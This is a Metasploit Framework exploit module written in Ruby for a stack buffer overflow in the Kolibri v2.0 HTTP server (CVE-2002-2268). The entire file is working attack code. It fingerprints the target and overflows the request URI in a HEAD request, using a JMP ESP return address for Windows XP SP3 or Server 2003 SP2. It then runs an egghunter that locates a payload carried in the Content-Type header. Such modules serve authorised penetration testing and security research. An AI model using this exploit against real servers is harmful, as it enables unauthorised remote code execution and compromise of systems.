##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
   'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
   'Author'         =>
     [
      'mr_me <steventhomasseeley@gmail.com>', # msf
      'TheLeader' # original exploit
     ],
   'Version'        => '$Revision: 10887 $',
   'References'     =>
    [
     [ 'CVE', '2002-2268' ],
     [ 'OSVDB', '70808' ],
     [ 'BID', '6289' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 3000,
     'DisableNops' => true,
     'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
     [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
    ],
   'DisclosureDate' => 'Dec 26 2010',
   'DefaultTarget'  => 0))
 end

 def check
  info = http_fingerprint
  if info and (info =~ /kolibri-2\.0/)
   return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end

 def exploit
  #7E429353    FFE4            JMP     ESP
  # For a reliable and large payload, we use an egg hunter
  # and direct RET to execute code
  print_status("Sending request...")
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
  sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
  sploit << eh_stub
  send_request_raw({
   'uri'     => "/" + sploit,
   'version' => '1.1',
   'method'  => 'HEAD',
   'headers' => {'Content-Type' => eh_egg},
  })

  handler
 end

end